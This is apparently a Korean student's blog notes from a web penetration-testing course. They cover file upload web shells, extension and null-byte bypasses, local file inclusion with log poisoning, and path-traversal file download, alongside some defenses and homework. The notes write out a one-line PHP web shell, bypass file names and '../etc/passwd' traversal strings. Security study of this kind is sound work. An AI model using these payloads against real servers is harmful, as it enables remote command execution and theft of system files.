카테고리 없음

15주차 모의해킹공부이야기

h/bhacker 2025. 2. 9. 20:15

15주 차 수업

*File Upload

공격자가 임의의 파일을 업로드 할 수 있는 공격

=>web shell 공격

서버측에서 실행 가능한 파일을 업로드 할 수 있는 공격

 

*웹쉘

한 줄 웹쉘 (One Line web shell)

<?php system($_GET[‘c’])’ ?>

 

*서버에서 실행할 수 있는 파일을 업로드.

 

reverseShell.php 업로드 했다.

어떻게 실행시킬까?

웹 요청으로 싫행시킴

 

webshell.php.jpg
-> 어떻게 실행될까 -> 불가능함

---file upload bypass 이런 키워드로 검색하다 보면

double extension (이중확장자)

webshell.jpg.php

위경우가 가능한 경우는

웹 애플리케이션 개발할 때

-> 파일 업로드, 저장하는 기능을 구현할 때 (잘못한 것임)

실제 저장될 때는 webshell.jpg.php로 저장됨.php앞은 글자로 되어 php파일이 됨

그래서 webshell.jpg.php는 가능함

 

*악성코드 유포할 때 확장자 숨기는 방법

normaltic.pdf.exe

 

실행 가능한 경우

NULL Byte Injection

webshell.php%00.jpg

리눗스 파일에서는 php까지 해서 짤림

그래서 저장될 때는 webshell.php로 저장됨

 

 

*File Include

Include_once

require

 

db정보

 

php

 

dbConfig.php

<?php

db계정 적어

php 코드로

?>

 

include(‘dbConfig.php’);

 

web page. 파라미터의 값에 따라서, 다른 페이지를 보여줄 것임

 

?lang-ko.php

 

<?php

include($_GET[‘lang’]);

?>

 

include($);

*서버에 존재하는 임의의 파일을 가져올 수 있다.

db계정이 적혀있는 파일, login.php

File Include 취약점으로는 소스코드를 거져올수없다

 

*File Include 취약점

서버에서 원하는 파일을 가져 올 수 있다. , 소스코드 빼고

 

엄청난 취약점

 

LFI(Loacl File Include)

 

----------------------------

파일 업로드가 없네?

파일을 전혀 올릴 껀덕지가 없다.

------------------------------

어떤 파일에 영향을 줄 수 있다.

>웹로그

 

access_log

<?php system($_GET[‘cmd’]);?> 가 들어있다. 어디에? 웹로그에

ls cmd를 실행하면 목록에 소스 나온다.

 

--------------------------------------------------------------

Flie Upload 대응방안

 

미흡

-파일 이름 난독화

>파일 경로 감추는 전략

>sql injection

>파일경로가 노출되는 취약점

 

-확장자 화이트리스트 기반 필터링

 

-DB에 파일을 저장하는 방법

BL0B/CL0B

 

-NAS

:파일 저장 서버.

 

LFI / RFI

 

Remote File Include

---------------------------------------------

다운로드가 있는데, 경로를 모를 수 있음? 있음

 

download.php?fileId=254

 

프사

프로필 사진.

->경로가 노출

불충분한 인가 취약점

 

------------------------------------------------------------

*파일 다운로드 취약점

ex)

download.php?fileName=test.txt

 

<? php ftleName= $_GET[fileName’];

download(‘files/; . $fileName);?>

 

fileName = ../../../../../../../etc/passwd

 

/files/../../../../../../../etc/passwd -> 서버에 있는 임의의 파일을 가져올 수 있다.,

 

장정: 소스코드 다운로드 가능

단점: 소스코드 실행 불가능

 

*다운로드 해야하는 파일

 

P0C

/etc.passwd

 

Windows

/boot.ini

.winnt.win.ini

 

../../../../../../../../boot.ini

 

파일 다운로드 취약점을 찾았다?

>엄청난 취약점이다, (웹쉘 취약점과 버금갈정도임)

-------------------------------------------

*침투테스트(관점에서)

파일 다운로드 취약점. 어떻게 활용할 수 있는지 (생각)

 

15주차 과제

1.웹개발

2 CTF

Web Shell 3

Get Flag File

Get Flag File2

 

3.웹 개발

>파일 다운로드 기능 구현

>download.php| 로그인 한 사람만 파일을 다운로드 가능하도록 구현

>파일을 DB에 저장하는 것 구현

BL0B / CL0B

 

4. 내가 만든 웹 서버 취약점 찾고, 보고서 작성해보기

>자신과의 싸움

>보고서 작성 제출